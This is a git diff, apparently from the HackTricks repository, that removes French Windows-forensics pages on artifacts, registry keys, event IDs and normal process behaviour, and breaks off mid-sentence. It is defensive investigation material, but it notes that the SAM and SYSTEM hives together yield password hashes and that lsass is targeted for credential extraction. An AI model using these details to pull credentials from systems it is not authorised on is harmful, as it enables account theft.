- -### Récupération des Pièces Jointes - -Les pièces jointes perdues peuvent être récupérables à partir de : - -- Pour **IE10** : `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- Pour **IE11 et supérieur** : `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` - -### Fichiers MBOX de Thunderbird - -**Thunderbird** utilise des **fichiers MBOX** pour stocker des données, situés à `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. - -### Vignettes d'Image - -- **Windows XP et 8-8.1** : Accéder à un dossier avec des vignettes génère un fichier `thumbs.db` stockant des aperçus d'images, même après suppression. -- **Windows 7/10** : `thumbs.db` est créé lorsqu'il est accédé via un réseau par un chemin UNC. -- **Windows Vista et versions ultérieures** : Les aperçus de vignettes sont centralisés dans `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` avec des fichiers nommés **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) et [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) sont des outils pour visualiser ces fichiers. - -### Informations sur le Registre Windows - -Le Registre Windows, stockant d'importantes données sur le système et l'activité des utilisateurs, est contenu dans des fichiers dans : - -- `%windir%\System32\Config` pour divers sous-clés `HKEY_LOCAL_MACHINE`. -- `%UserProfile%{User}\NTUSER.DAT` pour `HKEY_CURRENT_USER`. -- Windows Vista et les versions ultérieures sauvegardent les fichiers de registre `HKEY_LOCAL_MACHINE` dans `%Windir%\System32\Config\RegBack\`. -- De plus, les informations sur l'exécution des programmes sont stockées dans `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` à partir de Windows Vista et Windows 2008 Server. - -### Outils - -Certains outils sont utiles pour analyser les fichiers de registre : - -- **Éditeur de Registre** : Il est installé dans Windows. C'est une interface graphique pour naviguer à travers le registre Windows de la session actuelle. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md) : Il vous permet de charger le fichier de registre et de naviguer à travers eux avec une interface graphique. Il contient également des signets mettant en évidence des clés avec des informations intéressantes. -- [**RegRipper**](https://github.com/keydet89/RegRipper3.0) : Encore une fois, il a une interface graphique qui permet de naviguer à travers le registre chargé et contient également des plugins qui mettent en évidence des informations intéressantes à l'intérieur du registre chargé. -- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html) : Une autre application GUI capable d'extraire les informations importantes du registre chargé. - -### Récupération d'Éléments Supprimés - -Lorsqu'une clé est supprimée, elle est marquée comme telle, mais tant que l'espace qu'elle occupe n'est pas nécessaire, elle ne sera pas supprimée. Par conséquent, en utilisant des outils comme **Registry Explorer**, il est possible de récupérer ces clés supprimées. - -### Dernière Heure d'Écriture - -Chaque clé-valeur contient un **horodatage** indiquant la dernière fois qu'elle a été modifiée. - -### SAM - -Le fichier/hive **SAM** contient les **utilisateurs, groupes et hachages de mots de passe des utilisateurs** du système. - -Dans `SAM\Domains\Account\Users`, vous pouvez obtenir le nom d'utilisateur, le RID, la dernière connexion, la dernière tentative de connexion échouée, le compteur de connexion, la politique de mot de passe et quand le compte a été créé. Pour obtenir les **hachages**, vous avez également **besoin** du fichier/hive **SYSTEM**. - -### Entrées Intéressantes dans le Registre Windows - -{{#ref}} -interesting-windows-registry-keys.md -{{#endref}} - -## Programmes Exécutés - -### Processus Windows de Base - -Dans [ce post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d), vous pouvez apprendre sur les processus Windows communs pour détecter des comportements suspects. - -### Applications Récentes Windows - -À l'intérieur du registre `NTUSER.DAT` dans le chemin `Software\Microsoft\Current Version\Search\RecentApps`, vous pouvez trouver des sous-clés avec des informations sur **l'application exécutée**, **la dernière fois** qu'elle a été exécutée, et **le nombre de fois** qu'elle a été lancée. - -### BAM (Modérateur d'Activité en Arrière-plan) - -Vous pouvez ouvrir le fichier `SYSTEM` avec un éditeur de registre et à l'intérieur du chemin `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`, vous pouvez trouver des informations sur les **applications exécutées par chaque utilisateur** (notez le `{SID}` dans le chemin) et **à quelle heure** elles ont été exécutées (l'heure est à l'intérieur de la valeur de données du registre). - -### Préchargement Windows - -Le préchargement est une technique qui permet à un ordinateur de **récupérer silencieusement les ressources nécessaires pour afficher le contenu** auquel un utilisateur **pourrait accéder dans un avenir proche** afin que les ressources puissent être accessibles plus rapidement. - -Le préchargement Windows consiste à créer des **caches des programmes exécutés** pour pouvoir les charger plus rapidement. Ces caches sont créés sous forme de fichiers `.pf` à l'intérieur du chemin : `C:\Windows\Prefetch`. Il y a une limite de 128 fichiers dans XP/VISTA/WIN7 et 1024 fichiers dans Win8/Win10. - -Le nom du fichier est créé sous la forme `{program_name}-{hash}.pf` (le hachage est basé sur le chemin et les arguments de l'exécutable). Dans W10, ces fichiers sont compressés. Notez que la seule présence du fichier indique que **le programme a été exécuté** à un moment donné. - -Le fichier `C:\Windows\Prefetch\Layout.ini` contient les **noms des dossiers des fichiers qui sont préchargés**. Ce fichier contient **des informations sur le nombre d'exécutions**, **les dates** d'exécution et **les fichiers** **ouverts** par le programme. - -Pour inspecter ces fichiers, vous pouvez utiliser l'outil [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) : -```bash -.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" -``` -![](<../../../images/image (487).png>) - -### Superprefetch - -**Superprefetch** a le même objectif que le prefetch, **charger les programmes plus rapidement** en prédisant ce qui va être chargé ensuite. Cependant, il ne remplace pas le service de prefetch.\ -Ce service générera des fichiers de base de données dans `C:\Windows\Prefetch\Ag*.db`. - -Dans ces bases de données, vous pouvez trouver le **nom** du **programme**, le **nombre** d'**exécutions**, les **fichiers** **ouverts**, le **volume** **accédé**, le **chemin** **complet**, les **plages horaires** et les **horodatages**. - -Vous pouvez accéder à ces informations en utilisant l'outil [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). - -### SRUM - -**System Resource Usage Monitor** (SRUM) **surveille** les **ressources** **consommées** **par un processus**. Il est apparu dans W8 et stocke les données dans une base de données ESE située dans `C:\Windows\System32\sru\SRUDB.dat`. - -Il fournit les informations suivantes : - -- AppID et Chemin -- Utilisateur ayant exécuté le processus -- Octets envoyés -- Octets reçus -- Interface réseau -- Durée de la connexion -- Durée du processus - -Ces informations sont mises à jour toutes les 60 minutes. - -Vous pouvez obtenir la date de ce fichier en utilisant l'outil [**srum_dump**](https://github.com/MarkBaggett/srum-dump). -```bash -.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum -``` -### AppCompatCache (ShimCache) - -Le **AppCompatCache**, également connu sous le nom de **ShimCache**, fait partie de la **Base de données de compatibilité des applications** développée par **Microsoft** pour résoudre les problèmes de compatibilité des applications. Ce composant système enregistre divers éléments de métadonnées de fichiers, qui incluent : - -- Chemin complet du fichier -- Taille du fichier -- Heure de dernière modification sous **$Standard_Information** (SI) -- Heure de dernière mise à jour du ShimCache -- Drapeau d'exécution du processus - -Ces données sont stockées dans le registre à des emplacements spécifiques en fonction de la version du système d'exploitation : - -- Pour XP, les données sont stockées sous `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` avec une capacité de 96 entrées. -- Pour Server 2003, ainsi que pour les versions de Windows 2008, 2012, 2016, 7, 8 et 10, le chemin de stockage est `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, accueillant respectivement 512 et 1024 entrées. - -Pour analyser les informations stockées, l'outil [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser) est recommandé. - -![](<../../../images/image (488).png>) - -### Amcache - -Le fichier **Amcache.hve** est essentiellement une ruche de registre qui enregistre des détails sur les applications qui ont été exécutées sur un système. Il se trouve généralement à `C:\Windows\AppCompat\Programas\Amcache.hve`. - -Ce fichier est notable pour stocker des enregistrements de processus récemment exécutés, y compris les chemins vers les fichiers exécutables et leurs hachages SHA1. Cette information est inestimable pour suivre l'activité des applications sur un système. - -Pour extraire et analyser les données de **Amcache.hve**, l'outil [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) peut être utilisé. La commande suivante est un exemple de la façon d'utiliser AmcacheParser pour analyser le contenu du fichier **Amcache.hve** et afficher les résultats au format CSV : -```bash -AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder -``` -Parmi les fichiers CSV générés, le `Amcache_Unassociated file entries` est particulièrement remarquable en raison des informations riches qu'il fournit sur les entrées de fichiers non associées. - -Le fichier CVS le plus intéressant généré est le `Amcache_Unassociated file entries`. - -### RecentFileCache - -Cet artefact ne peut être trouvé que dans W7 dans `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` et il contient des informations sur l'exécution récente de certains binaires. - -Vous pouvez utiliser l'outil [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) pour analyser le fichier. - -### Tâches planifiées - -Vous pouvez les extraire de `C:\Windows\Tasks` ou `C:\Windows\System32\Tasks` et les lire en tant que XML. - -### Services - -Vous pouvez les trouver dans le registre sous `SYSTEM\ControlSet001\Services`. Vous pouvez voir ce qui va être exécuté et quand. - -### **Windows Store** - -Les applications installées peuvent être trouvées dans `\ProgramData\Microsoft\Windows\AppRepository\`\ -Ce dépôt a un **journal** avec **chaque application installée** dans le système à l'intérieur de la base de données **`StateRepository-Machine.srd`**. - -À l'intérieur de la table Application de cette base de données, il est possible de trouver les colonnes : "Application ID", "PackageNumber" et "Display Name". Ces colonnes contiennent des informations sur les applications préinstallées et installées et il peut être trouvé si certaines applications ont été désinstallées car les ID des applications installées devraient être séquentiels. - -Il est également possible de **trouver des applications installées** à l'intérieur du chemin du registre : `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ -Et **des applications désinstallées** dans : `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` - -## Événements Windows - -Les informations qui apparaissent dans les événements Windows sont : - -- Ce qui s'est passé -- Horodatage (UTC + 0) -- Utilisateurs impliqués -- Hôtes impliqués (nom d'hôte, IP) -- Actifs accédés (fichiers, dossiers, imprimante, services) - -Les journaux sont situés dans `C:\Windows\System32\config` avant Windows Vista et dans `C:\Windows\System32\winevt\Logs` après Windows Vista. Avant Windows Vista, les journaux d'événements étaient au format binaire et après, ils sont au **format XML** et utilisent l'extension **.evtx**. - -L'emplacement des fichiers d'événements peut être trouvé dans le registre SYSTEM dans **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** - -Ils peuvent être visualisés depuis le Visualiseur d'événements Windows (**`eventvwr.msc`**) ou avec d'autres outils comme [**Event Log Explorer**](https://eventlogxp.com) **ou** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** - -## Comprendre la journalisation des événements de sécurité Windows - -Les événements d'accès sont enregistrés dans le fichier de configuration de sécurité situé à `C:\Windows\System32\winevt\Security.evtx`. La taille de ce fichier est ajustable, et lorsque sa capacité est atteinte, les événements plus anciens sont écrasés. Les événements enregistrés incluent les connexions et déconnexions des utilisateurs, les actions des utilisateurs et les modifications des paramètres de sécurité, ainsi que l'accès aux fichiers, dossiers et actifs partagés. - -### Identifiants d'événements clés pour l'authentification des utilisateurs : - -- **EventID 4624** : Indique qu'un utilisateur s'est authentifié avec succès. -- **EventID 4625** : Signale un échec d'authentification. -- **EventIDs 4634/4647** : Représentent les événements de déconnexion des utilisateurs. -- **EventID 4672** : Dénote une connexion avec des privilèges administratifs. - -#### Sous-types dans EventID 4634/4647 : - -- **Interactive (2)** : Connexion directe de l'utilisateur. -- **Network (3)** : Accès aux dossiers partagés. -- **Batch (4)** : Exécution de processus par lots. -- **Service (5)** : Lancements de services. -- **Proxy (6)** : Authentification par proxy. -- **Unlock (7)** : Écran déverrouillé avec un mot de passe. -- **Network Cleartext (8)** : Transmission de mot de passe en texte clair, souvent depuis IIS. -- **New Credentials (9)** : Utilisation de différentes informations d'identification pour l'accès. -- **Remote Interactive (10)** : Connexion à distance ou services de terminal. -- **Cache Interactive (11)** : Connexion avec des informations d'identification mises en cache sans contact avec le contrôleur de domaine. -- **Cache Remote Interactive (12)** : Connexion à distance avec des informations d'identification mises en cache. -- **Cached Unlock (13)** : Déverrouillage avec des informations d'identification mises en cache. - -#### Codes d'état et sous-codes pour EventID 4625 : - -- **0xC0000064** : Le nom d'utilisateur n'existe pas - Pourrait indiquer une attaque d'énumération de noms d'utilisateur. -- **0xC000006A** : Nom d'utilisateur correct mais mot de passe incorrect - Tentative de devinette de mot de passe ou de force brute possible. -- **0xC0000234** : Compte utilisateur verrouillé - Peut suivre une attaque par force brute entraînant plusieurs échecs de connexion. -- **0xC0000072** : Compte désactivé - Tentatives non autorisées d'accéder à des comptes désactivés. -- **0xC000006F** : Connexion en dehors des heures autorisées - Indique des tentatives d'accès en dehors des heures de connexion définies, un signe possible d'accès non autorisé. -- **0xC0000070** : Violation des restrictions de station de travail - Pourrait être une tentative de connexion depuis un emplacement non autorisé. -- **0xC0000193** : Expiration du compte - Tentatives d'accès avec des comptes utilisateurs expirés. -- **0xC0000071** : Mot de passe expiré - Tentatives de connexion avec des mots de passe obsolètes. -- **0xC0000133** : Problèmes de synchronisation horaire - Grandes divergences de temps entre le client et le serveur peuvent indiquer des attaques plus sophistiquées comme le pass-the-ticket. -- **0xC0000224** : Changement de mot de passe obligatoire requis - Changements obligatoires fréquents pourraient suggérer une tentative de déstabiliser la sécurité du compte. -- **0xC0000225** : Indique un bug système plutôt qu'un problème de sécurité. -- **0xC000015b** : Type de connexion refusé - Tentative d'accès avec un type de connexion non autorisé, comme un utilisateur essayant d'exécuter une connexion de service. - -#### EventID 4616 : - -- **Changement d'heure** : Modification de l'heure système, pourrait obscurcir la chronologie des événements. - -#### EventID 6005 et 6006 : - -- **Démarrage et arrêt du système** : L'EventID 6005 indique le démarrage du système, tandis que l'EventID 6006 marque son arrêt. - -#### EventID 1102 : - -- **Suppression de journal** : Les journaux de sécurité étant effacés, ce qui est souvent un signal d'alarme pour couvrir des activités illicites. - -#### Identifiants d'événements pour le suivi des appareils USB : - -- **20001 / 20003 / 10000** : Première connexion de l'appareil USB. -- **10100** : Mise à jour du pilote USB. -- **EventID 112** : Heure de l'insertion de l'appareil USB. - -Pour des exemples pratiques sur la simulation de ces types de connexion et d'opportunités de dumping d'informations d'identification, consultez [le guide détaillé d'Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). - -Les détails des événements, y compris les codes d'état et de sous-état, fournissent des informations supplémentaires sur les causes des événements, particulièrement notables dans l'Event ID 4625. - -### Récupération des événements Windows - -Pour améliorer les chances de récupérer des événements Windows supprimés, il est conseillé d'éteindre l'ordinateur suspect en le débranchant directement. **Bulk_extractor**, un outil de récupération spécifiant l'extension `.evtx`, est recommandé pour tenter de récupérer de tels événements. - -### Identification des attaques courantes via les événements Windows - -Pour un guide complet sur l'utilisation des identifiants d'événements Windows pour identifier des cyberattaques courantes, visitez [Red Team Recipe](https://redteamrecipe.com/event-codes/). - -#### Attaques par force brute - -Identifiables par plusieurs enregistrements EventID 4625, suivis d'un EventID 4624 si l'attaque réussit. - -#### Changement d'heure - -Enregistré par l'EventID 4616, les changements d'heure système peuvent compliquer l'analyse judiciaire. - -#### Suivi des appareils USB - -Les identifiants d'événements système utiles pour le suivi des appareils USB incluent 20001/20003/10000 pour l'utilisation initiale, 10100 pour les mises à jour de pilotes, et l'EventID 112 de DeviceSetupManager pour les horodatages d'insertion. - -#### Événements d'alimentation du système - -L'EventID 6005 indique le démarrage du système, tandis que l'EventID 6006 marque l'arrêt. - -#### Suppression de journal - -L'EventID de sécurité 1102 signale la suppression de journaux, un événement critique pour l'analyse judiciaire. - - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md deleted file mode 100644 index 8d7b74681..000000000 --- a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ /dev/null @@ -1,101 +0,0 @@ -# Clés de Registre Windows Intéressantes - -### Clés de Registre Windows Intéressantes - -{{#include ../../../banners/hacktricks-training.md}} - -### **Informations sur la Version de Windows et le Propriétaire** - -- Situé à **`Software\Microsoft\Windows NT\CurrentVersion`**, vous trouverez la version de Windows, le Service Pack, l'heure d'installation et le nom du propriétaire enregistré de manière simple. - -### **Nom de l'Ordinateur** - -- Le nom d'hôte se trouve sous **`System\ControlSet001\Control\ComputerName\ComputerName`**. - -### **Paramètre de Fuseau Horaire** - -- Le fuseau horaire du système est stocké dans **`System\ControlSet001\Control\TimeZoneInformation`**. - -### **Suivi du Temps d'Accès** - -- Par défaut, le suivi du dernier temps d'accès est désactivé (**`NtfsDisableLastAccessUpdate=1`**). Pour l'activer, utilisez : -`fsutil behavior set disablelastaccess 0` - -### Versions de Windows et Service Packs - -- La **version de Windows** indique l'édition (par exemple, Home, Pro) et sa version (par exemple, Windows 10, Windows 11), tandis que les **Service Packs** sont des mises à jour qui incluent des corrections et, parfois, de nouvelles fonctionnalités. - -### Activation du Temps d'Accès - -- L'activation du suivi du dernier temps d'accès vous permet de voir quand les fichiers ont été ouverts pour la dernière fois, ce qui peut être crucial pour l'analyse judiciaire ou la surveillance du système. - -### Détails sur les Informations Réseau - -- Le registre contient des données étendues sur les configurations réseau, y compris **types de réseaux (sans fil, câble, 3G)** et **catégories de réseau (Public, Privé/Domicile, Domaine/Travail)**, qui sont essentielles pour comprendre les paramètres de sécurité réseau et les autorisations. - -### Mise en Cache Côté Client (CSC) - -- **CSC** améliore l'accès aux fichiers hors ligne en mettant en cache des copies de fichiers partagés. Différents paramètres **CSCFlags** contrôlent comment et quels fichiers sont mis en cache, affectant les performances et l'expérience utilisateur, en particulier dans des environnements avec une connectivité intermittente. - -### Programmes de Démarrage Automatique - -- Les programmes listés dans diverses clés de registre `Run` et `RunOnce` sont lancés automatiquement au démarrage, affectant le temps de démarrage du système et pouvant être des points d'intérêt pour identifier des logiciels malveillants ou indésirables. - -### Shellbags - -- Les **Shellbags** non seulement stockent des préférences pour les vues de dossiers mais fournissent également des preuves judiciaires d'accès aux dossiers même si le dossier n'existe plus. Ils sont inestimables pour les enquêtes, révélant l'activité des utilisateurs qui n'est pas évidente par d'autres moyens. - -### Informations sur les USB et Analyse Judiciaire - -- Les détails stockés dans le registre concernant les appareils USB peuvent aider à retracer quels appareils ont été connectés à un ordinateur, liant potentiellement un appareil à des transferts de fichiers sensibles ou à des incidents d'accès non autorisés. - -### Numéro de Série de Volume - -- Le **Numéro de Série de Volume** peut être crucial pour suivre l'instance spécifique d'un système de fichiers, utile dans des scénarios judiciaires où l'origine d'un fichier doit être établie à travers différents appareils. - -### **Détails sur l'Arrêt** - -- L'heure et le nombre d'arrêts (ce dernier uniquement pour XP) sont conservés dans **`System\ControlSet001\Control\Windows`** et **`System\ControlSet001\Control\Watchdog\Display`**. - -### **Configuration Réseau** - -- Pour des informations détaillées sur l'interface réseau, référez-vous à **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. -- Les heures de première et de dernière connexion réseau, y compris les connexions VPN, sont enregistrées sous divers chemins dans **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. - -### **Dossiers Partagés** - -- Les dossiers partagés et les paramètres se trouvent sous **`System\ControlSet001\Services\lanmanserver\Shares`**. Les paramètres de Mise en Cache Côté Client (CSC) dictent la disponibilité des fichiers hors ligne. - -### **Programmes qui Démarrent Automatiquement** - -- Des chemins comme **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** et des entrées similaires sous `Software\Microsoft\Windows\CurrentVersion` détaillent les programmes configurés pour s'exécuter au démarrage. - -### **Recherches et Chemins Saisis** - -- Les recherches dans l'Explorateur et les chemins saisis sont suivis dans le registre sous **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** pour WordwheelQuery et TypedPaths, respectivement. - -### **Documents Récents et Fichiers Office** - -- Les documents récents et les fichiers Office accessibles sont notés dans `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` et des chemins spécifiques à la version d'Office. - -### **Éléments les Plus Récemment Utilisés (MRU)** - -- Les listes MRU, indiquant les chemins de fichiers récents et les commandes, sont stockées dans diverses sous-clés `ComDlg32` et `Explorer` sous `NTUSER.DAT`. - -### **Suivi de l'Activité Utilisateur** - -- La fonctionnalité User Assist enregistre des statistiques détaillées sur l'utilisation des applications, y compris le nombre d'exécutions et l'heure de la dernière exécution, à **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. - -### **Analyse des Shellbags** - -- Les Shellbags, révélant des détails d'accès aux dossiers, sont stockés dans `USRCLASS.DAT` et `NTUSER.DAT` sous `Software\Microsoft\Windows\Shell`. Utilisez **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** pour l'analyse. - -### **Historique des Appareils USB** - -- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** et **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contiennent des détails riches sur les appareils USB connectés, y compris le fabricant, le nom du produit et les horodatages de connexion. -- L'utilisateur associé à un appareil USB spécifique peut être identifié en recherchant dans les hives `NTUSER.DAT` pour le **{GUID}** de l'appareil. -- Le dernier appareil monté et son numéro de série de volume peuvent être retracés via `System\MountedDevices` et `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectivement. - -Ce guide condense les chemins et méthodes cruciaux pour accéder à des informations détaillées sur le système, le réseau et l'activité des utilisateurs sur les systèmes Windows, visant la clarté et l'utilisabilité. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md b/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md deleted file mode 100644 index 920b0ef9f..000000000 --- a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md +++ /dev/null @@ -1,106 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -## smss.exe - -**Gestionnaire de session**.\ -La session 0 démarre **csrss.exe** et **wininit.exe** (**services** **OS**) tandis que la session 1 démarre **csrss.exe** et **winlogon.exe** (**session** **utilisateur**). Cependant, vous ne devriez voir **qu'un seul processus** de ce **binaire** sans enfants dans l'arborescence des processus. - -De plus, des sessions autres que 0 et 1 peuvent signifier que des sessions RDP sont en cours. - -## csrss.exe - -**Processus de sous-système d'exécution client/serveur**.\ -Il gère les **processus** et les **threads**, rend l'**API** **Windows** disponible pour d'autres processus et **mappe les lettres de lecteur**, crée des **fichiers temporaires** et gère le **processus** de **shutdown**. - -Il y en a un **en cours d'exécution dans la session 0 et un autre dans la session 1** (donc **2 processus** dans l'arborescence des processus). Un autre est créé **par nouvelle session**. - -## winlogon.exe - -**Processus de connexion Windows**.\ -Il est responsable de la **connexion**/**déconnexion** des utilisateurs. Il lance **logonui.exe** pour demander le nom d'utilisateur et le mot de passe, puis appelle **lsass.exe** pour les vérifier. - -Ensuite, il lance **userinit.exe** qui est spécifié dans **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** avec la clé **Userinit**. - -De plus, le registre précédent devrait avoir **explorer.exe** dans la clé **Shell** ou cela pourrait être abusé comme une **méthode de persistance de malware**. - -## wininit.exe - -**Processus d'initialisation Windows**. \ -Il lance **services.exe**, **lsass.exe** et **lsm.exe** dans la session 0. Il ne devrait y avoir qu'un seul processus. - -## userinit.exe - -**Application de connexion Userinit**.\ -Charge le **ntduser.dat dans HKCU** et initialise l'**environnement** **utilisateur** et exécute des **scripts de connexion** et des **GPO**. - -Il lance **explorer.exe**. - -## lsm.exe - -**Gestionnaire de session local**.\ -Il travaille avec smss.exe pour manipuler les sessions utilisateur : connexion/déconnexion, démarrage de shell, verrouillage/déverrouillage du bureau, etc. - -Après W7, lsm.exe a été transformé en service (lsm.dll). - -Il ne devrait y avoir qu'un seul processus dans W7 et parmi eux un service exécutant la DLL. - -## services.exe - -**Gestionnaire de contrôle des services**.\ -Il **charge** les **services** configurés pour **démarrage automatique** et les **drivers**. - -C'est le processus parent de **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** et bien d'autres. - -Les services sont définis dans `HKLM\SYSTEM\CurrentControlSet\Services` et ce processus maintient une base de données en mémoire des informations sur les services qui peuvent être interrogées par sc.exe. - -Notez comment **certains** **services** vont s'exécuter dans un **processus à part** et d'autres vont **partager un processus svchost.exe**. - -Il ne devrait y avoir qu'un seul processus. - -## lsass.exe - -**Sous-système d'autorité de sécurité locale**.\ -Il est responsable de l'**authentification** des utilisateurs et crée les **tokens** de **sécurité**. Il utilise des paquets d'authentification situés dans `HKLM\System\CurrentControlSet\Control\Lsa`. - -Il écrit dans le **journal** **d'événements** **de sécurité** et il ne devrait y avoir qu'un seul processus. - -Gardez à l'esprit que ce processus est fortement attaqué pour extraire des mots de passe. - -## svchost.exe - -**Processus hôte de service générique**.\ -Il héberge plusieurs services DLL dans un seul processus partagé. - -En général, vous constaterez que **svchost.exe** est lancé avec le drapeau `-k`. Cela lancera une requête au registre **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** où il y aura une clé avec l'argument mentionné dans -k qui contiendra les services à lancer dans le même processus. - -Par exemple : `-k UnistackSvcGroup` lancera : `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` - -Si le **drapeau `-s`** est également utilisé avec un argument, alors svchost est demandé à **lancer uniquement le service spécifié** dans cet argument. - -Il y aura plusieurs processus de `svchost.exe`. Si l'un d'eux **n'utilise pas le drapeau `-k`**, alors c'est très suspect. Si vous constatez que **services.exe n'est pas le parent**, c'est également très suspect. - -## taskhost.exe - -Ce processus agit comme un hôte pour les processus s'exécutant à partir de DLL. Il charge également les services qui s'exécutent à partir de DLL. - -Dans W8, cela s'appelle taskhostex.exe et dans W10 taskhostw.exe. - -## explorer.exe - -C'est le processus responsable du **bureau de l'utilisateur** et du lancement de fichiers via des extensions de fichiers. - -**Un seul** processus devrait être créé **par utilisateur connecté.** - -Cela est exécuté à partir de **userinit.exe** qui devrait être terminé, donc **aucun parent** ne devrait apparaître pour ce processus. - -# Détection des processus malveillants - -- Est-il exécuté à partir du chemin attendu ? (Aucun binaire Windows ne s'exécute à partir d'un emplacement temporaire) -- Communique-t-il avec des IP étranges ? -- Vérifiez les signatures numériques (les artefacts Microsoft devraient être signés) -- Est-il correctement orthographié ? -- S'exécute-t-il sous le SID attendu ? -- Le processus parent est-il celui attendu (le cas échéant) ? -- Les processus enfants sont-ils ceux attendus ? (pas de cmd.exe, wscript.exe, powershell.exe..?) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md index dcd287c3a..775e43f2f 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md @@ -1,32 +1,30 @@ -# Artefacts Windows - -## Artefacts Windows +# Windows Artifacts {{#include ../../../banners/hacktricks-training.md}} -## Artefacts Windows Généraux +## Generic Windows Artifacts -### Notifications Windows 10 +### Windows 10 Notifications Dans le chemin `\Users\\AppData\Local\Microsoft\Windows\Notifications`, vous pouvez trouver la base de données `appdb.dat` (avant l'anniversaire de Windows) ou `wpndatabase.db` (après l'anniversaire de Windows). À l'intérieur de cette base de données SQLite, vous pouvez trouver la table `Notification` avec toutes les notifications (au format XML) qui peuvent contenir des données intéressantes. -### Chronologie +### Timeline -La chronologie est une caractéristique de Windows qui fournit un **historique chronologique** des pages web visitées, des documents modifiés et des applications exécutées. +Timeline est une caractéristique de Windows qui fournit un **historique chronologique** des pages web visitées, des documents modifiés et des applications exécutées. La base de données se trouve dans le chemin `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Cette base de données peut être ouverte avec un outil SQLite ou avec l'outil [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **qui génère 2 fichiers pouvant être ouverts avec l'outil** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). -### ADS (Flux de Données Alternatifs) +### ADS (Alternate Data Streams) Les fichiers téléchargés peuvent contenir l'**ADS Zone.Identifier** indiquant **comment** il a été **téléchargé** depuis l'intranet, internet, etc. Certains logiciels (comme les navigateurs) ajoutent généralement même **plus** **d'informations** comme l'**URL** d'où le fichier a été téléchargé. -## **Sauvegardes de Fichiers** +## **File Backups** -### Corbeille +### Recycle Bin -Dans Vista/Win7/Win8/Win10, la **Corbeille** se trouve dans le dossier **`$Recycle.bin`** à la racine du lecteur (`C:\$Recycle.bin`).\ +Dans Vista/Win7/Win8/Win10, la **Recycle Bin** peut être trouvée dans le dossier **`$Recycle.bin`** à la racine du lecteur (`C:\$Recycle.bin`).\ Lorsqu'un fichier est supprimé dans ce dossier, 2 fichiers spécifiques sont créés : - `$I{id}` : Informations sur le fichier (date de sa suppression) @@ -42,7 +40,7 @@ Avec ces fichiers, vous pouvez utiliser l'outil [**Rifiuti**](https://github.com ### Copies de Volume Shadow -La copie Shadow est une technologie incluse dans Microsoft Windows qui peut créer des **copies de sauvegarde** ou des instantanés de fichiers ou de volumes d'ordinateur, même lorsqu'ils sont en cours d'utilisation. +La technologie Shadow Copy incluse dans Microsoft Windows peut créer des **copies de sauvegarde** ou des instantanés de 